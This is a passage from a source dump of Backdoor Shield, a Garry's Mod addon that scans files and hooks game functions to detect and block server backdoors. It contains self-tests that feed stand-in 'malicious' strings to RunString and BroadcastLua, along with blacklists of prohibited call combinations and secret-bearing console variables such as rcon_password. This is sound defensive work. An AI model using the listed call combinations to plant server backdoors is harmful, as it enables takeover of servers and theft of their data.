code combinations wasn't compiled.\n") 170 | else 171 | MsgC(self.colors.message, " (Fail) A file full of prohibited code combinations was compiled!\n") 172 | end 173 | print() 174 | end 175 | 176 | function tests.CompileString() 177 | MsgC(self.colors.header, "\n-----> CompileString: " .. tests.textAux["CompileString"] .. "\n") 178 | local compStr = self.__G.CompileString("RunString(\"MsgN('Fake malicious code successfully executed.') print()\")", "TestCode") 179 | print() 180 | if compStr == "" then 181 | MsgC(self.colors.message, " (Pass) A string with prohibited code combinations wasn't compiled.\n") 182 | else 183 | compStr() 184 | MsgC(self.colors.message, " (Fail) A string with prohibited code combinations was compiled!\n") 185 | end 186 | print() 187 | end 188 | 189 | function tests.PersistentTrace() 190 | MsgC(self.colors.header, "\n-----> PersistentTrace: " .. tests.textAux["PersistentTrace"] .. "\n") 191 | self.__G.code = [[ return "2" ]] 192 | self.__G.timer.Simple(0, function() 193 | self.__G.timer.Simple(0, function() 194 | self.__G.RunString([[ 195 | BroadcastLua(code) 196 | ]]) 197 | end) 198 | end) 199 | MsgC(self.colors.message, "\n (Waiting) Persistent trace result pending... Pass = Trace with one \"(+) BS - Persistent Trace\"; Fail = Any other trace.\n\n") 200 | end 201 | 202 | function tests.stack() 203 | MsgC(self.colors.header, "\n-----> stack: " .. tests.textAux["stack"] .. "\n") 204 | self.__G.BdctLua = self.__G.BroadcastLua 205 | self.__G.code = [[ print ("A blocked function has been executed.") ]] 206 | self.__G.RunString([[ 207 | BdctLua(code) 208 | ]]) 209 | MsgC(self.colors.message, "\n (Result) Pass = block execution; Fail = Print a message.\n\n") 210 | end 211 | 212 | function tests.all(printDelayedMsg, functionsWithWaiting) 213 | for _,testFunc in pairs(tests) do 214 | if testFunc and isfunction(testFunc) and testFunc ~= tests.help and testFunc ~= tests.all then 215 | for _,funcNameWait in ipairs(functionsWithWaiting) do 216 | if testFunc == tests[funcNameWait] then 217 | printDelayedMsg[funcNameWait] = true 218 | break 219 | end 220 | end 221 | 222 | testFunc() 223 | end 224 | end 225 | end 226 | 227 | local funcsNotFound = {} 228 | local printDelayedMsg = {} 229 | local functionsWithWaiting = { 230 | "http.Fetch", 231 | "detour2", 232 | "PersistentTrace" 233 | } 234 | 235 | if #args > 0 then 236 | for _,testName in ipairs(args) do 237 | if tests[testName] then 238 | for _,funcNameWait in ipairs(functionsWithWaiting) do 239 | if testName == funcNameWait then 240 | printDelayedMsg[funcNameWait] = true 241 | break 242 | end 243 | end 244 | 245 | tests[testName](testName == "all" and printDelayedMsg, testName == "all" and functionsWithWaiting) 246 | else 247 | table.insert(funcsNotFound, testName) 248 | end 249 | end 250 | else 251 | table.insert(funcsNotFound, "") 252 | end 253 | 254 | if #funcsNotFound > 0 then 255 | local notFound = "" 256 | 257 | for _,funcName in ipairs(funcsNotFound) do 258 | notFound = notFound .. "\"" .. funcName .. "\" " 259 | end 260 | 261 | MsgC(self.colors.message, "\nTest" .. (#funcsNotFound > 1 and "s" or "") .. " " .. notFound .. "not found...\n") 262 | tests.help() 263 | end 264 | 265 | if table.Count(printDelayedMsg) > 0 then 266 | MsgC(self.colors.header, "\n[WAITING FOR]\n\n") 267 | end 268 | 269 | if printDelayedMsg["http.Fetch"] then 270 | MsgC(self.colors.header, "--> http.Fetch test result...\n") 271 | end 272 | 273 | if printDelayedMsg["detour2"] then 274 | MsgC(self.colors.header, "--> Detouring auto check test result...\n") 275 | end 276 | 277 | if printDelayedMsg["PersistentTrace"] then 278 | MsgC(self.colors.header, "--> Persistent check test result...\n") 279 | end 280 | end 281 | -------------------------------------------------------------------------------- /lua/bs/server/libs/filescanner/scanner.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- Note: I'm using string.find() without patterns. Due to the number of scans they get too intensive. 7 | 8 | -- Check if a file isn't suspect (at first) 9 | -- Mainly used to remove false positives from binary files 10 | local function IsSourceSuspicious(BS, str, ext) 11 | if BS.scannerDangerousExtensions_EZSearch[ext] then return true end 12 | 13 | for k, term in ipairs(BS.scanner.notSuspicious) do 14 | if string.find(str, term, nil, true) then 15 | return false 16 | end 17 | end 18 | 19 | return true 20 | end 21 | table.insert(BS.locals, IsSourceSuspicious) 22 | 23 | -- Process the file contents according to the blacklists 24 | local function ScanSource(BS, src, ext, detected) 25 | if not isstring(src) then return end 26 | 27 | local IsSourceSuspicious = IsSourceSuspicious(BS, src, ext) 28 | if not IsSourceSuspicious then 29 | detected[2] = detected[2] + BS.scanner.counterWeights.notSuspicious 30 | end 31 | 32 | local foundTerms = BS:Scan_Blacklist(BS, src, BS.scannerBlacklist_FixedFormat) 33 | for term, linesTab in pairs(foundTerms) do 34 | local lineNumbers = {} 35 | local totalFound = 0 36 | 37 | for k, lineTab in ipairs(linesTab) do 38 | table.insert(lineNumbers, lineTab.lineNumber) 39 | totalFound = totalFound + lineTab.count 40 | end 41 | 42 | detected[2] = detected[2] + BS.scanner.blacklist[term] -- Adding multiple weights here will generate a lot of false positives 43 | table.insert(detected[1], { term, lineNumbers, totalFound }) 44 | end 45 | 46 | if detected[2] < BS.scanner.thresholds.low then 47 | detected[2] = 1 -- The detection will be discarded 48 | end 49 | end 50 | table.insert(BS.locals, ScanSource) 51 | 52 | -- Build a message with the detections 53 | local function JoinResults(BS, detected) 54 | local resultString = "" 55 | 56 | if #detected > 0 then 57 | for k, termTab in ipairs(detected) do 58 | local isInvisibleCharacter = BS.UTF8InvisibleChars[termTab[1]] 59 | local weight = isInvisibleCharacter and BS.scanner.extraWeights.invalidChar or BS.scanner.blacklist[termTab[1]] 60 | local prefix 61 | local lines 62 | local indentation = " " 63 | 64 | if isInvisibleCharacter then 65 | termTab[1] = "Invisible character " .. termTab[1] .. " (Decimal UTF-16BE)" 66 | end 67 | 68 | if termTab[2] then 69 | if BS.scanner.printLines then 70 | lines = "\n\n" .. indentation .. indentation 71 | for k, lineNumber in SortedPairsByValue(termTab[2]) do 72 | lines = lines .. lineNumber .. " " 73 | end 74 | lines = lines .. "\n" 75 | end 76 | 77 | weight = weight * termTab[3] 78 | end 79 | 80 | if weight >= BS.scanner.thresholds.high then 81 | prefix = "[!!]" 82 | elseif weight >= BS.scanner.thresholds.medium then 83 | prefix = "[!]" 84 | else 85 | prefix = "[.]" 86 | end 87 | 88 | resultString = resultString .. "\n" .. indentation .. prefix .. " " .. termTab[1] .. (lines or "") 89 | end 90 | end 91 | 92 | return resultString 93 | end 94 | table.insert(BS.locals, JoinResults) 95 | 96 | -- Make the coroutine wait so the text can be printed to the console 97 | local function WaitALittle() 98 | local co = coroutine.running() 99 | local doLoop = true 100 | 101 | timer.Simple(0.03, function() 102 | doLoop = false 103 | local succeeded, errors = coroutine.resume(co) 104 | if not succeeded then 105 | print(errors) 106 | end 107 | end) 108 | 109 | while doLoop do 110 | coroutine.yield() 111 | end 112 | end 113 | table.insert(BS.locals, WaitALittle) 114 | 115 | -- Scan a folder 116 | local bsDataFolder = "data/" .. BS.folder.data .. "/" 117 | local bsLuaFolder = "lua/" .. BS.folder.lua .. "/" 118 | local function StartRecursiveFolderRead(BS, dir, results, addonsFolderFiles, extensions, isAddonsFolder) 119 | -- Check for the addons folder and keep the value to the subfolders 120 | if dir == "addons/" then 121 | isAddonsFolder = true 122 | end 123 | 124 | -- Ignore bs data folder 125 | if dir == bsDataFolder then 126 | return 127 | end 128 | 129 | local files, subDirs = file.Find(dir .. "*", "GAME") 130 | 131 | -- Ignore nil folders 132 | if not subDirs then 133 | return 134 | -- Ignore our own folders 135 | elseif string.find(dir, bsLuaFolder, nil, true) or string.find(dir, "backdoor-shield", nil, true) then 136 | if BS.scanner.ignoreBSFolders then 137 | return 138 | end 139 | end 140 | 141 | -- Ignore whitelisted folders 142 | if BS:Scan_Whitelist(dir, BS.scanner.whitelists.folders) then 143 | return 144 | end 145 | 146 | -- Check directories 147 | for _, subDir in ipairs(subDirs) do 148 | if subDir ~= "/" then 149 | StartRecursiveFolderRead(BS, dir .. subDir .. "/", results, addonsFolderFiles, extensions, isAddonsFolder) 150 | end 151 | end 152 | 153 | -- Check if the dir is a loose detection 154 | local isLooseFolder = false 155 | 156 | for _, looseFolder in ipairs(BS.scanner.loose.folders) do 157 | local start = string.find(dir, looseFolder, nil, true) 158 | 159 | if start == 1 then 160 | isLooseFolder = true 161 | break 162 | end 163 | end 164 | 165 | -- Check files 166 | for k, _file in ipairs(files) do 167 | local path = dir .. _file 168 | 169 | if addonsFolderFiles[path] then continue end 170 | 171 | local ext = string.GetExtensionFromFilename(_file) 172 | local detected = {{}, 0} 173 | 174 | -- Ignore invalid extensions 175 | if extensions then 176 | local isValidExt = false 177 | 178 | for k, validExt in ipairs(extensions) do 179 | if ext == validExt then 180 | isValidExt = true 181 | break 182 | end 183 | end 184 | 185 | if not isValidExt then continue end 186 | end 187 | 188 | -- Ignore whitelisted files 189 | if BS:Scan_Whitelist(path, BS.scanner.whitelists.files) then 190 | continue 191 | end 192 | 193 | -- Loose folder counterweight 194 | if isLooseFolder then 195 | detected[2] = detected[2] + BS.scanner.counterWeights.loose 196 | end 197 | 198 | -- Convert a addons/ path to a lua/ path and save the result to prevent a repeated scanning later 199 | if isAddonsFolder then 200 | local path = BS:Utils_ConvertAddonPath(path, true) 201 | addonsFolderFiles[path] = true 202 | end 203 | 204 | -- Print status after every cetain number of scanned files 205 | results.totalScanned = results.totalScanned + 1 206 | if results.totalScanned == results.lastTotalPrinted + 500 then 207 | MsgC(BS.colors.message, results.totalScanned .. " files scanned...\n\n") 208 | results.lastTotalPrinted = results.totalScanned 209 | WaitALittle() 210 | end 211 | 212 | -- Check the source 213 | local src = file.Read(path, "GAME") 214 | 215 | if BS:Scan_Whitelist(src, BS.scanner.whitelists.snippets) then 216 | continue 217 | end 218 | 219 | local foundChars = BS:Scan_Characters(BS, src, ext) 220 | for invalidCharName, linesTab in pairs(foundChars) do 221 | local lineNumbers = {} 222 | local totalFound = 0 223 | 224 | for k, lineTab in ipairs(linesTab) do 225 | table.insert(lineNumbers, lineTab.lineNumber) 226 | totalFound = totalFound + lineTab.count 227 | end 228 | 229 | detected[2] = detected[2] + BS.scanner.extraWeights.invalidChar -- Adding multiple weights here will generate a lot of false positives 230 | table.insert(detected[1], { invalidCharName, lineNumbers, totalFound }) 231 | end 232 | 233 | ScanSource(BS, src, ext, detected) 234 | 235 | local resultString = "" 236 | local resultsList 237 | 238 | -- Build, print and stock the result 239 | if #detected[1] > 0 then 240 | local isLooseFile = BS.scannerLooseFiles_EZSearch[path] and true or false 241 | 242 | -- Loose file counterweight 243 | if isLooseFile then 244 | detected[2] = detected[2] + BS.scanner.counterWeights.loose 245 | end 246 | 247 | -- Discard result if it's from file with only BS.scanner.suspect_suspect detections 248 | if BS.scanner.discardUnderLowRisk and detected[2] < BS.scanner.thresholds.low then 249 | results.discarded = results.discarded + 1 250 | continue 251 | end 252 | 253 | -- Non Lua files extra weight 254 | if ext ~= "lua" then 255 | detected[2] = detected[2] + BS.scanner.extraWeights.notLuaFile 256 | end 257 | 258 | -- Define detection list 259 | if detected[2] >= BS.scanner.thresholds.high then 260 | resultsList = results.highRisk 261 | elseif detected[2] >= BS.scanner.thresholds.medium then 262 | resultsList = results.mediumRisk 263 | else 264 | resultsList = results.lowRisk 265 | end 266 | 267 | -- Build result message 268 | resultString = path 269 | resultString = resultString .. JoinResults(BS, detected[1]) 270 | resultString = resultString .. "\n" 271 | 272 | -- Report 273 | BS:Report_ScanDetection(resultString, resultsList, results) 274 | WaitALittle() 275 | 276 | -- Stack result 277 | table.insert(resultsList, resultString) 278 | end 279 | end 280 | end 281 | table.insert(BS.locals, StartRecursiveFolderRead) 282 | 283 | -- Remove back slashs and slashes from ends 284 | local function SanitizeSlashes(folders) 285 | for k, folder in pairs(folders) do 286 | folders[k] = string.gsub(folder, "\\", "/") 287 | 288 | if string.sub(folders[k], 1, 1) == "/" then 289 | folders[k] = folders[k]:sub(2, #folder) 290 | end 291 | 292 | if string.sub(folders[k], -1) == "/" then 293 | folders[k] = folders[k]:sub(1, #folder - 1) 294 | end 295 | end 296 | end 297 | table.insert(BS.locals, ProcessBars) 298 | 299 | -- Process the files recusively inside the aimed folders according to our white, black and suspect lists 300 | -- Note: Low-risk files will be reported in the logs as well, but they won't flood the console with warnings 301 | function BS:Scanner_Start(args, extensions) 302 | -- All results 303 | local results = { 304 | totalScanned = 0, 305 | lastTotalPrinted = 0, 306 | highRisk = {}, 307 | mediumRisk = {}, 308 | lowRisk = {}, 309 | discarded = 0 310 | } 311 | 312 | -- List of scanned files in addons folder. It forces the scanner to skip the same files inside lua folder 313 | local addonsFolderFiles = {} 314 | 315 | -- Select custom folders or a list of default folders 316 | local folders = #args > 0 and args or self.scanner.foldersToScan 317 | 318 | SanitizeSlashes(folders) 319 | 320 | if not folders then 321 | MsgC(self.colors.message, "\n" .. self.alert .. " no folders selected.\n\n") 322 | return 323 | end 324 | 325 | -- Deal with bars 326 | for k, folder in ipairs(folders) do 327 | folders[k] = string.gsub(folder, "\\", "/") 328 | if string.sub(folders[k], 1, 1) == "/" then 329 | folders[k] = folders[k]:sub(2, #folder) 330 | end 331 | if string.sub(folders[k], -1) == "/" then 332 | folders[k] = folders[k]:sub(1, #folder - 1) 333 | end 334 | end 335 | 336 | -- If no folders are selected, we're going to use the default ones from foldersToScan 337 | -- In both cases we are going to put "addons" in the first position if it's present, because: 338 | -- Manually installed addons have a much higher chance of infection; 339 | -- Results from the addons folder always have the the full file paths; 340 | -- I record what we're doing and compare later to avoid scanning a file twice. 341 | local i = 2 342 | local foldersAux = {} 343 | for _,folder in ipairs(folders) do 344 | if folder == "addons" then 345 | foldersAux[1] = folder 346 | i = i - 1 347 | else 348 | foldersAux[i] = folder 349 | end 350 | 351 | i = i + 1 352 | end 353 | if not foldersAux[1] then 354 | foldersAux[1] = foldersAux[#foldersAux] 355 | foldersAux[#foldersAux] = nil 356 | end 357 | folders = foldersAux 358 | 359 | MsgC(self.colors.header, "\n" .. self.alert .. " Scanning GMod and all the mounted contents...\n\n\n") 360 | 361 | -- Note: The coroutine is used so that the scanner can pause and display results in real time - Multiplayer only 362 | local co = coroutine.create(function() 363 | local isThinkHibernationInitiallyOn = GetConVar("sv_hibernate_think"):GetBool() 364 | 365 | if not isThinkHibernationInitiallyOn then 366 | RunConsoleCommand("sv_hibernate_think", "1") 367 | end 368 | 369 | WaitALittle() 370 | 371 | -- Start scanning folders 372 | for _,folder in ipairs(folders) do 373 | if folder == "" or file.Exists(folder .. "/", "GAME") then 374 | StartRecursiveFolderRead(self, folder == "" and folder or folder .. "/", results, addonsFolderFiles, extensions) 375 | else 376 | MsgC(self.colors.message, "\n" .. self.alert .. " Folder not found: " .. folder .. "\n\n") 377 | end 378 | end 379 | 380 | if not isThinkHibernationInitiallyOn then 381 | RunConsoleCommand("sv_hibernate_think", "0") 382 | end 383 | 384 | -- Console final log 385 | self:Report_ScanResults(results) 386 | end) 387 | 388 | coroutine.resume(co) 389 | end -------------------------------------------------------------------------------- /lua/bs/server/definitions/liveprotection.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2020 Xalalau Xubilozo. MIT License 3 | https://xalalau.com/ 4 | --]] 5 | 6 | -- REAL TIME PROTECTION 7 | -- ----------------------------------------------------------------------------------- 8 | 9 | -- In-game detouring protection and backdoor detection 10 | 11 | BS.live = { 12 | -- Turn on the real time detections 13 | isOn = true, 14 | 15 | -- Block backdoors activity 16 | -- This should never be turned off, but it's here in case you want to get infected on purpose to generate more logs 17 | blockThreats = true, 18 | 19 | -- Show a small window at the top left alerting admins about detections and warnings 20 | alertAdmins = true, 21 | 22 | -- Undo detouring on protected functions 23 | -- This should never be turned off, but it's here in case you want to disable it. Logs will continue to be generated 24 | protectDetours = true, 25 | 26 | -- Live protection detours table 27 | --[[ 28 | ["some.game.function"] = { -- Declaring a function in a field will keep it safe from external detouring 29 | detour = function -- Our detoured function address (Automatically managed) 30 | filters = string or { string, ... } -- Internal functions to execute any extra security checks we want (following the declared order) 31 | retunOnDetection = some result -- Return a value other than nil if the filters detected a threat and stop the execution 32 | multiplayerOnly = boolean -- If the protection is only usefull on multiplayer 33 | }, 34 | ]] 35 | detours = { 36 | ["Ban"] = { filters = "Filter_ScanStack" }, 37 | ["BroadcastLua"] = { filters = "Filter_ScanStack" }, 38 | ["cam.Start3D"] = { filters = "Filter_ScanStack" }, 39 | ["ChatPrint"] = { filters = "Filter_ScanStack" }, 40 | ["ClientsideModel"] = { filters = "Filter_ScanStack" }, 41 | ["CompileFile"] = { filters = { "Filter_ScanStack", "Filter_ScanStrCode" }, retunOnDetection = function() return end }, 42 | ["CompileString"] = { filters = { "Filter_ScanStack", "Filter_ScanStrCode" }, retunOnDetection = "" },-- To-do: Test 43 | ["concommand.Add"] = { filters = "Filter_ScanStack" }, 44 | ["debug.getfenv"] = { filters = { "Filter_ScanStack", "Filter_ProtectEnvironment" }, retunOnDetection = {} }, 45 | ["debug.getinfo"] = { filters = { "Filter_ScanStack", "Filter_ProtectDebugGetinfo" }, retunOnDetection = {} }, 46 | ["debug.getregistry"] = { filters = "Filter_ScanStack", retunOnDetection = {} }, 47 | ["Error"] = {}, 48 | ["file.Delete"] = { filters = "Filter_ScanStack", retunOnDetection = false }, 49 | ["file.Exists"] = { filters = "Filter_ScanStack" }, 50 | --["file.Find"] = { filters = "Filter_ScanStack" },-- To-do: needs fix for Pac3 51 | ["file.Read"] = { filters = "Filter_ScanStack" }, 52 | ["file.Write"] = { filters = "Filter_ScanStack" }, 53 | ["game.CleanUpMap"] = { filters = "Filter_ScanStack" }, 54 | ["game.ConsoleCommand"] = { filters = "Filter_ScanStack" },-- To-do: Scan commands 55 | ["game.KickID"] = { filters = "Filter_ScanStack" }, 56 | ["getfenv"] = { filters = { "Filter_ScanStack", "Filter_ProtectEnvironment" }, retunOnDetection = {} }, 57 | ["hook.Add"] = { filters = "Filter_ScanStack" }, 58 | ["hook.GetTable"] = { filters = "Filter_ScanStack", retunOnDetection = {} }, 59 | ["hook.Remove"] = { filters = "Filter_ScanStack" }, 60 | ["HTTP"] = { filters = "Filter_ScanStack" }, 61 | ["http.Fetch"] = { filters = { "Filter_ScanStack", "Filter_ScanHttpFetchPost" } }, 62 | ["http.Post"] = { filters = { "Filter_ScanStack", "Filter_ScanHttpFetchPost" } }, 63 | ["include"] = { multiplayerOnly = true }, -- Breaks footstep sounds on singleplayer 64 | ["jit.util.funcinfo"] = { filters = { "Filter_ScanStack", "Filter_ProtectAddresses" }, retunOnDetection = {} }, 65 | ["jit.util.funck"] = { filters = "Filter_ScanStack" }, 66 | ["Kick"] = { filters = "Filter_ScanStack" }, 67 | ["net.ReadHeader"] = { filters = "Filter_ScanStack" }, 68 | ["net.ReadString"] = {},-- To-do: Scan text 69 | ["net.Receive"] = { filters = "Filter_ScanStack" },-- To-do: ? 70 | ["net.Start"] = {}, 71 | ["net.WriteString"] = {},-- To-do: Scan text 72 | ["pcall"] = { filters = "Filter_ScanStack", retunOnDetection = function() return unpack(false, "") end },-- To-do: Test trace persistence 73 | ["PrintMessage"] = { filters = "Filter_ScanStack" }, 74 | ["require"] = {}, 75 | ["RunConsoleCommand"] = { filters = "Filter_ScanStack" },-- To-do: Scan commands 76 | ["RunString"] = { filters = { "Filter_ScanStack", "Filter_ScanStrCode" }, retunOnDetection = "" }, 77 | ["RunStringEx"] = { filters = { "Filter_ScanStack", "Filter_ScanStrCode" }, retunOnDetection = "" }, 78 | ["SendLua"] = { filters = "Filter_ScanStack" }, 79 | ["setfenv"] = { filters = "Filter_ScanStack" }, 80 | ["sound.PlayURL"] = { filters = "Filter_ScanStack" }, 81 | ["surface.PlaySound"] = { filters = "Filter_ScanStack" }, 82 | ["timer.Create"] = { filters = "Filter_ScanTimers" }, 83 | ["timer.Destroy"] = {}, 84 | ["timer.Exists"] = {}, 85 | ["timer.Simple"] = { filters = "Filter_ScanTimers" }, 86 | --["tostring"] = { filters = "Filter_ProtectAddresses" },-- unstable and slow (remove loose and whitelists checks to test it) 87 | ["util.AddNetworkString"] = { filters = "Filter_ScanStack" }, 88 | ["util.NetworkIDToString"] = { filters = "Filter_ScanStack" }, 89 | ["util.ScreenShake"] = { filters = "Filter_ScanStack" }, 90 | ["xpcall"] = { filters = "Filter_ScanStack", retunOnDetection = function() return unpack(false, "") end }-- To-do: Test trace persistence 91 | }, 92 | 93 | blacklists = { 94 | -- List of prohibited strings in filtered function arguments 95 | -- These filters use the following list: Filter_ScanStrCode 96 | arguments = { 97 | -- Any syntax 98 | snippets = { 99 | "=_G", 100 | "(_G)", 101 | ",_G,", 102 | "!true", 103 | "!false", 104 | "_G[", 105 | "_G.", 106 | "_R[", 107 | "_R.", 108 | "]()", 109 | "0x", 110 | "\\x", 111 | "STEAM_0:", 112 | "startingmoney" -- DarkRP variable 113 | }, 114 | 115 | -- Console commands and variables 116 | console = { 117 | "rcon_password", 118 | "sv_password", 119 | "sv_gravity", 120 | "sv_friction", 121 | "sv_allowcslua", 122 | "sv_password", 123 | "sv_hostname", 124 | "rp_resetallmoney", 125 | "hostport" 126 | } 127 | }, 128 | 129 | -- Define a list of functions prohibited from calling a function 130 | -- These filters use the following list: Filter_ScanStrCode, Filter_ScanStack 131 | stack = { 132 | ["Ban"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 133 | ["BroadcastLua"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 134 | ["cam.Start3D"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 135 | ["ChatPrint"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 136 | ["ClientsideModel"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 137 | ["CompileFile"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 138 | ["CompileString"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 139 | ["concommand.Add"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 140 | ["debug.getfenv"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 141 | ["debug.getinfo"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 142 | ["debug.getregistry"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 143 | ["file.Delete"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 144 | ["file.Exists"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 145 | --["file.Find"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 146 | ["file.Read"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 147 | ["file.Write"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 148 | ["game.CleanUpMap"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 149 | ["game.ConsoleCommand"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 150 | ["game.KickID"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 151 | ["getfenv"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 152 | ["hook.Add"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunStringEx" }, 153 | ["hook.GetTable"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 154 | ["hook.Remove"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 155 | ["HTTP"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 156 | ["http.Fetch"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 157 | ["http.Post"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 158 | ["jit.util.funcinfo"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 159 | ["jit.util.funck"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 160 | ["Kick"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 161 | ["net.ReadHeader"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 162 | ["net.Receive"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 163 | ["pcall"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 164 | ["RunConsoleCommand"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 165 | ["RunString"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunStringEx", "net.Receive" }, 166 | ["RunStringEx"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 167 | ["SendLua"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 168 | ["setfenv"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 169 | ["sound.PlayURL"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 170 | ["surface.PlaySound"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 171 | ["util.AddNetworkString"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 172 | ["util.NetworkIDToString"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" }, 173 | ["util.ScreenShake"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx" }, 174 | ["xpcall"] = { "CompileString", "CompileFile", "http.Fetch", "http.Post", "RunString", "RunStringEx", "net.Receive" } 175 | } 176 | }, 177 | 178 | whitelists = { 179 | -- Whitelisted folders 180 | folders = { 181 | "lua/dlib", -- dLib 182 | "lua/pac3", -- Pac3 183 | "lua/playx", -- PlayX 184 | "lua/smh", -- Stop Motion Helper 185 | "lua/ulib", -- Ulib 186 | "lua/ulx", -- ULX 187 | "lua/wire" -- Wiremod 188 | }, 189 | 190 | -- Whitelisted files 191 | files = { 192 | "lua/entities/gmod_wire_expression2/core/extloader.lua", -- Wiremod 193 | "lua/entities/info_wiremapinterface/init.lua", -- Wiremod 194 | "gamemodes/base/entities/entities/lua_run.lua", -- GMod 195 | "lua/easychat/autoloader.lua", -- Easy Chat 196 | "lua/autorun/gb-radial.lua", -- Overhauled Radial Menu 197 | "lua/autorun/hat_init.lua", -- Henry's Animation Tool 198 | "lua/vrmod/0/vrmod_api.lua", -- VR Mod 199 | "lua/atmos/init.lua" -- atmos 200 | }, 201 | 202 | -- Whitelist http.Fetch() and http.Post() urls 203 | -- Don't scan the downloaded content, just run it normally to start checking again 204 | urls = { 205 | "http://www.geoplugin.net/" 206 | }, 207 | 208 | -- Whitelist snippets 209 | -- Ignore detections containing the listed texts 210 | -- Be very careful to add items here! Ideally, this list should never be used 211 | snippets = { 212 | } 213 | }, 214 | 215 | -- Loose detections 216 | -- Detections from these lists will generate only warnings 217 | loose = { 218 | -- Loose folders 219 | folders = { 220 | }, 221 | 222 | -- Loose files 223 | files = { 224 | } 225 | } 226 | } 227 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Garry's Mod - Backdoor Shield 2 | 3 | Protect your GMod server from backdoors! This tool helps you block, detect, investigate, and remove them. 4 | 5 | However, keep in mind that all detections are based on either prohibited function call combinations or highly suspicious terms found during string scans. Unfortunately, some knowledge of Lua is required to fully understand the results. 6 | 7 | ![image](https://user-images.githubusercontent.com/5098527/167985260-d2e325c7-b310-4eee-a246-ecde898fd5d2.png) 8 | 9 | # Incompatibilities 10 | 11 | > DO NOT USE this addon on servers running paid mods! Many paid mods use complex DRMs, which may be detected and blocked by Backdoor Shield. This could lead to serious authentication problems and even loss of licenses! If you suspect your addons are infected, run them on a clean server/GMod instance alongside Backdoor Shield. 12 | 13 | > Avoid addons that create their own environment, as they may break, such as: 14 | > - gmDoom - https://steamcommunity.com/sharedfiles/filedetails/?id=133300986 15 | 16 | Also, please consider Backdoor Shield a work in progress (W.I.P.). I do not plan to add fancy features or make the addon user-friendly (this is purely a hobbyist project). 17 | 18 | # What is a backdoor? 19 | 20 | > "a backdoor refers to any method by which authorized and unauthorized users are able to get around normal security measures and gain high level user access (aka root access) on a computer system, network, or software application. Once they're in, cybercriminals can use a backdoor to steal personal and financial data, install additional malware, and hijack devices." - Malwarebytes 21 | 22 | In GMod, backdoors often involve entire groups of bad actors using pre-made panels with complex functions — there's even a market for them. 23 | 24 | While the game's security has improved significantly over time, these attacks remain highly dangerous. They can lead to the theft of scripts, settings, and personal data, along with other damages. For instance, someone with unauthorized admin access could delete all files in the data folder or gradually cause server issues until players abandon it. 25 | 26 | # Features 27 | 28 | Backdoor Shield 29 